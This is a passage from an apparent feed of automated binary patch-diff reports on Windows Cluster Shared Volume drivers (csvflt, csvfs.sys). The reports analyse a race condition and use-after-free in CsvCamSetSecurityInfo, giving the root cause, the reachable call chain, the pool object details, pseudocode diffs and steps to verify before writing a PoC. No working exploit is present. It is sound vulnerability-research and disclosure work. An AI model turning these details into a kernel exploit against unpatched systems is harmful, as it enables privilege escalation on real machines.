&lt;td&gt;Replaced the unlocked read+deref of the &lt;code&gt;EncryptionManager&lt;/code&gt; global with a &lt;code&gt;RWLock::AcquireShared (sub_1c0027d70)&lt;/code&gt; / &lt;code&gt;RWLock::ReleaseShared (sub_1c00289ec)&lt;/code&gt; wrapped sequence. The read path now takes &lt;code&gt;SigningLock&lt;/code&gt; in shared mode before dereferencing the global; the alloc/free/replace path still takes the same &lt;code&gt;SigningLock&lt;/code&gt; exclusive. Making readers take the reader-writer lock shared to match the exclusive writer closes the TOCTOU. The entry guard was recompiled from &lt;code&gt;test eax, eax; je&lt;/code&gt; to &lt;code&gt;cmp dword [rcx+0xd4], ebp; jbe&lt;/code&gt;, which is the same non-zero test (not a stricter check). The second global (&lt;code&gt;ReplayCacheManager&lt;/code&gt;) read was already shared-locked in the unpatched build and was only re-expressed through the same &lt;code&gt;RWLock&lt;/code&gt; wrapper (a refactor).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Inside the same function, the copy-init helper &lt;code&gt;Encryption::Initialize (sub_1c0028308)&lt;/code&gt; (unpatched) is replaced by &lt;code&gt;Encryption::Initialize (sub_1c002833c)&lt;/code&gt; (patched) — a register-allocation-recompiled copy of the same logic with no behavioral security impact. No cosmetic-only register changes were noted elsewhere; the other 535 matched functions are byte-identical.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None. Neither the unpatched nor the patched binary contains functions that have no counterpart in the other. The patch is purely an intra-function refactor inside &lt;code&gt;CsvCamSetSecurityInfo (sub_1C0039E30)&lt;/code&gt;; no sanitizers were removed. The patch adds shared-mode &lt;code&gt;RWLock::AcquireShared (sub_1c0027d70)&lt;/code&gt; / &lt;code&gt;RWLock::ReleaseShared (sub_1c00289ec)&lt;/code&gt; calls on the existing &lt;code&gt;SigningLock&lt;/code&gt; around the read path; the exclusive writer path was already present in the unpatched binary.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High for the existence of the race / UAF and its location. Medium for the exact exploitability and call-chain reachability.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rationale:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The assembly diff is unambiguous: the unlocked read at &lt;code&gt;0x1c0039e61&lt;/code&gt; is the only meaningful behavioral change. The patched binary introduces a lock acquire/release pair around the read, and the free path is unchanged in semantics — only the lock guard changed. This is a textbook TOCTOU.&lt;/li&gt;
&lt;li&gt;The pool size (0x28), tag (&lt;code&gt;CVCA&lt;/code&gt;), and PagedPool type are directly evidenced by the &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; arguments at &lt;code&gt;0x1c0039ee7-0x1c0039ef5&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The dispatch is confirmed in &lt;code&gt;CsvMessage (sub_1c0038460)&lt;/code&gt;: it copies the input into a pool buffer, reads the first DWORD as the command code, and for command code &lt;code&gt;1&lt;/code&gt; with input length &lt;code&gt;&amp;gt;= 0xDC&lt;/code&gt; calls &lt;code&gt;CsvCamSetSecurityInfo (sub_1C0039E30)&lt;/code&gt;. &lt;code&gt;CsvConnect (sub_1c0038160)&lt;/code&gt; gates connection only by client type (first context DWORD must be &lt;code&gt;1&lt;/code&gt; or &lt;code&gt;2&lt;/code&gt;, context size &lt;code&gt;&amp;gt;= 8&lt;/code&gt;) and allows a single connection of each type. The open question for reachability is the &lt;strong&gt;port ACL&lt;/strong&gt;: &lt;code&gt;FltCreateCommunicationPort&lt;/code&gt; is called with a NULL &lt;code&gt;SecurityDescriptor&lt;/code&gt; in the &lt;code&gt;OBJECT_ATTRIBUTES&lt;/code&gt; (no &lt;code&gt;FltBuildDefaultSecurityDescriptor&lt;/code&gt; call is present), so the effective access is whatever default the filter manager applies. A researcher should confirm:&lt;/li&gt;
&lt;li&gt;Whether a non-admin user can open &lt;code&gt;\Csv2_FilterPort&lt;/code&gt; on a default cluster node given that default descriptor.&lt;/li&gt;
&lt;li&gt;That &lt;code&gt;+0xcc&lt;/code&gt; (connection ID) and &lt;code&gt;+0xd0&lt;/code&gt; (sequence) do not need to match a server-side session table to reach the vulnerable path (they feed the second-global &lt;code&gt;ReplayCacheManager&lt;/code&gt; path, not the first-global read).&lt;/li&gt;
&lt;li&gt;That &lt;code&gt;memcmp (sub_1c0008940)&lt;/code&gt; does not itself hold any lock that would shrink the race window further.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Other assumptions:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;RWLock::AcquireShared (sub_1c0027d70)&lt;/code&gt; / &lt;code&gt;RWLock::ReleaseShared (sub_1c00289ec)&lt;/code&gt; are symbol-resolved shared acquire/release on the existing &lt;code&gt;SigningLock (data_1c002f560)&lt;/code&gt; reader-writer lock; this is the same &lt;code&gt;SigningLock&lt;/code&gt; the exclusive writer path uses, not a new lock object.&lt;/li&gt;
&lt;li&gt;No reclamation/spray primitive for the &lt;code&gt;0x28&lt;/code&gt;-byte PagedPool slot was identified or validated in these binaries; the report claims only the use-after-free itself, not a working reclamation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What to verify manually before writing a PoC:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reproduce the assembly offsets against the actual loaded base address (&lt;code&gt;u csvflt!CsvCamSetSecurityInfo (sub_1C0039E30)&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Confirm port accessibility under a non-admin token.&lt;/li&gt;
&lt;li&gt;Confirm the message-format fields (especially &lt;code&gt;+0xcc&lt;/code&gt; connection ID) — best done by attaching to a live cluster node and watching a legitimate CSV client connect.&lt;/li&gt;
&lt;li&gt;Validate the reclaim object size against the current kernel build (pool header accounting varies between Windows versions).&lt;/li&gt;
&lt;li&gt;Test with Driver Verifier Special Pool first to make the race crash deterministically before attempting silent reclamation.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>csvfs.sys — TOCTOU Race Condition / Use-After-Free (CWE-362, CWE-416) in CsvCamSetSecurityInfo fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/csvfs_adb6dbff-csvfs-report-20260628-221951.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/csvfs_adb6dbff-csvfs-report-20260628-221951.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;csvfs_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;csvfs_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.9921&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;1766&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;1765&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (patched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch fixes a single, surgical defect in &lt;code&gt;csvfs!CsvCamSetSecurityInfo&lt;/code&gt; (&lt;code&gt;sub_1C00BCAAC&lt;/code&gt;) — an unlocked read of the global &lt;code&gt;EncryptionManager&lt;/code&gt; pointer that can be freed concurrently by an exclusive writer, producing a TOCTOU / Use-After-Free on a 0x28-byte &lt;code&gt;PagedPool&lt;/code&gt; (&lt;code&gt;'CVCA'&lt;/code&gt;) &lt;code&gt;Encryption&lt;/code&gt; object.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — TOCTOU / Use-After-Free in &lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt; (&lt;code&gt;sub_1C00BCAAC&lt;/code&gt;)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; CWE-362 (Race Condition) / CWE-416 (Use-After-Free)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;csvfs!CsvCamSetSecurityInfo&lt;/code&gt; (&lt;code&gt;sub_1C00BCAAC&lt;/code&gt;, &lt;code&gt;0x1C00BCAAC&lt;/code&gt; in both builds)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected object:&lt;/strong&gt; The global &lt;code&gt;Encryption*&lt;/code&gt; pointer &lt;code&gt;EncryptionManager&lt;/code&gt; (&lt;code&gt;?EncryptionManager@@3PEAVEncryption@@EA&lt;/code&gt;), a 0x28-byte object, tag &lt;code&gt;'CVCA'&lt;/code&gt; (&lt;code&gt;0x41435643&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt; updates the global &lt;code&gt;Encryption&lt;/code&gt; signing manager used for Cluster Shared Volumes. It touches two globals:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;EncryptionManager&lt;/code&gt; — a small (0x28-byte) &lt;code&gt;Encryption&lt;/code&gt; object (the &lt;strong&gt;unprotected&lt;/strong&gt; read).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ReplayCacheManagerObject&lt;/code&gt; — a larger (0x1010-byte) object (already read under &lt;code&gt;SigningLock&lt;/code&gt; shared in both builds).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When the caller supplies a non-empty encryption input (&lt;code&gt;*(context + 0xe8) != 0&lt;/code&gt;), the &lt;strong&gt;unpatched&lt;/strong&gt; version reads &lt;code&gt;EncryptionManager&lt;/code&gt; and dereferences its stored-size (&lt;code&gt;+0x20&lt;/code&gt;) and stored-buffer (&lt;code&gt;+0x18&lt;/code&gt;) fields, then &lt;code&gt;memcmp&lt;/code&gt;'s the caller's input buffer (&lt;code&gt;context + 0xec&lt;/code&gt;) against the stored buffer — all &lt;strong&gt;without acquiring &lt;code&gt;SigningLock&lt;/code&gt;&lt;/strong&gt;. Later in the same function, the exclusive-write path takes &lt;code&gt;KeEnterCriticalRegion&lt;/code&gt; + &lt;code&gt;ExAcquireResourceExclusiveLite&lt;/code&gt; on &lt;code&gt;SigningLock&lt;/code&gt; (&lt;code&gt;?SigningLock@@3PEAVRWLock@@EA&lt;/code&gt;), frees the old object via &lt;code&gt;Encryption::&lt;/code&gt;scalar deleting destructor&lt;code&gt;` (&lt;/code&gt;??_GEncryption&lt;code&gt;,&lt;/code&gt;sub_1C0058100&lt;code&gt;→&lt;/code&gt;ExFreePoolWithTag`), and replaces the global with a freshly allocated object. Because the read side never shares the lock, the writer can free the object mid-read, leaving the reader holding a dangling pointer.&lt;/p&gt;
&lt;p&gt;The patch wraps the read+dereference in &lt;code&gt;RWLock::AcquireShared&lt;/code&gt; (&lt;code&gt;?AcquireShared@RWLock@@QEAAXXZ&lt;/code&gt;) / &lt;code&gt;RWLock::ReleaseShared&lt;/code&gt; (&lt;code&gt;?ReleaseShared@RWLock@@QEAAXXZ&lt;/code&gt;) — the shared side of &lt;code&gt;SigningLock&lt;/code&gt; — closing the window. Two incidental codegen differences accompany the fix and are not themselves security changes: the entry-cached &lt;code&gt;eax&lt;/code&gt; copy of &lt;code&gt;*(context+0xe8)&lt;/code&gt; is dropped in favor of an in-memory re-read (&lt;code&gt;cmp [rsi+0xe8], eax&lt;/code&gt;), and the length test changes from &lt;code&gt;test eax, eax; jz&lt;/code&gt; to &lt;code&gt;cmp [rcx+0xe8], ebp; jbe&lt;/code&gt;. For a length field (never negative) the two tests are equivalent — the &lt;code&gt;jbe&lt;/code&gt; form does not reject any additional value.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note on the shared-lock helper: &lt;code&gt;RWLock::AcquireShared&lt;/code&gt; (&lt;code&gt;0x1C0018818&lt;/code&gt;) and &lt;code&gt;RWLock::ReleaseShared&lt;/code&gt; (&lt;code&gt;0x1C0018850&lt;/code&gt;) are &lt;strong&gt;new functions in the patched build&lt;/strong&gt; — they do not exist in the unpatched build. Their bodies hardcode the global &lt;code&gt;SigningLock&lt;/code&gt;: &lt;code&gt;AcquireShared&lt;/code&gt; performs &lt;code&gt;mov rbx, cs:SigningLock; KeEnterCriticalRegion; ExAcquireResourceSharedLite([rbx], 1)&lt;/code&gt;, and &lt;code&gt;ReleaseShared&lt;/code&gt; performs &lt;code&gt;ExReleaseResourceLite([SigningLock]); KeLeaveCriticalRegion&lt;/code&gt;. Because they reference the global directly, the caller's &lt;code&gt;this&lt;/code&gt; (&lt;code&gt;rcx&lt;/code&gt;) is irrelevant — every call acquires the same &lt;code&gt;SigningLock&lt;/code&gt; shared. In the unpatched build this exact shared sequence was emitted &lt;strong&gt;inline&lt;/strong&gt; for the &lt;code&gt;ReplayCacheManagerObject&lt;/code&gt; read; the patch factors it into these helpers and additionally applies it to the previously-unprotected &lt;code&gt;EncryptionManager&lt;/code&gt; read. At the address &lt;code&gt;0x1C0018818&lt;/code&gt; the unpatched build instead contains &lt;code&gt;__GSHandlerCheck&lt;/code&gt; (an unrelated function relocated a few bytes later in the patched build to make room for the new helpers).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Attacker-reachable entry point and data flow:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;GsDriverEntry&lt;/code&gt; (&lt;code&gt;sub_1C00BF010&lt;/code&gt;) — driver entry stub.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DriverEntry&lt;/code&gt; (&lt;code&gt;sub_1C00BF078&lt;/code&gt;) — driver initialization (init path, not the runtime dispatch of this call).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CsvFsNotificationQueueInitialize&lt;/code&gt; (&lt;code&gt;sub_1C004800C&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CsvFsHandleMessage&lt;/code&gt; (&lt;code&gt;sub_1C0005F50&lt;/code&gt;) — message dispatcher; calls &lt;code&gt;CsvFsHandleSetSecurityInfo&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CsvFsHandleSetSecurityInfo&lt;/code&gt; (&lt;code&gt;sub_1C0046974&lt;/code&gt;) — validates buffers, then calls &lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt; at &lt;code&gt;0x1C00469D6&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt; (&lt;code&gt;sub_1C00BCAAC&lt;/code&gt;) — vulnerable &lt;code&gt;EncryptionManager&lt;/code&gt; update.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The context field at &lt;code&gt;+0xe8&lt;/code&gt; is the caller-supplied encryption input length; &lt;code&gt;+0xec&lt;/code&gt; is the input buffer, compared via &lt;code&gt;memcmp&lt;/code&gt; against the stored buffer read from the unlocked &lt;code&gt;EncryptionManager&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============ UNPATCHED (vulnerable) ============&lt;/span&gt;
&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// cached in eax at function entry&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;// signed != 0 test&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Encryption&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt;&amp;lt;&amp;lt; NO LOCK — unprotected global read&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdx_1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdx_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt;&amp;lt;&amp;lt; UAF: deref stored size (+0x20)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// caller input&lt;/span&gt;
&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdx_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt;&amp;lt;&amp;lt; UAF: deref stored buffer (+0x18)&lt;/span&gt;
&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// input matches existing manager&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// ...later in this function:&lt;/span&gt;
&lt;span class="c1"&gt;//   KeEnterCriticalRegion();&lt;/span&gt;
&lt;span class="c1"&gt;//   ExAcquireResourceExclusiveLite(*SigningLock, 1);&lt;/span&gt;
&lt;span class="c1"&gt;//   if (EncryptionManager) __GEncryption(EncryptionManager); // &amp;lt;&amp;lt;&amp;lt;&amp;lt; ExFreePoolWithTag of old object&lt;/span&gt;
&lt;span class="c1"&gt;//   EncryptionManager = new_object;&lt;/span&gt;
&lt;span class="c1"&gt;//   ExReleaseResourceLite(*SigningLock);&lt;/span&gt;
&lt;span class="c1"&gt;//   KeLeaveCriticalRegion();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============ PATCHED (fixed) ============&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// unsigned &amp;gt; 0 test (cmp [rcx+0xe8], ebp; jbe)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RWLock&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;AcquireShared&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt;&amp;lt;&amp;lt; SHARED LOCK ACQUIRE (SigningLock shared)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Encryption&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// read under lock&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdx_1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdx_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// safe deref under shared lock&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;&amp;lt;&amp;lt;&amp;lt; re-read from memory (no stale eax)&lt;/span&gt;
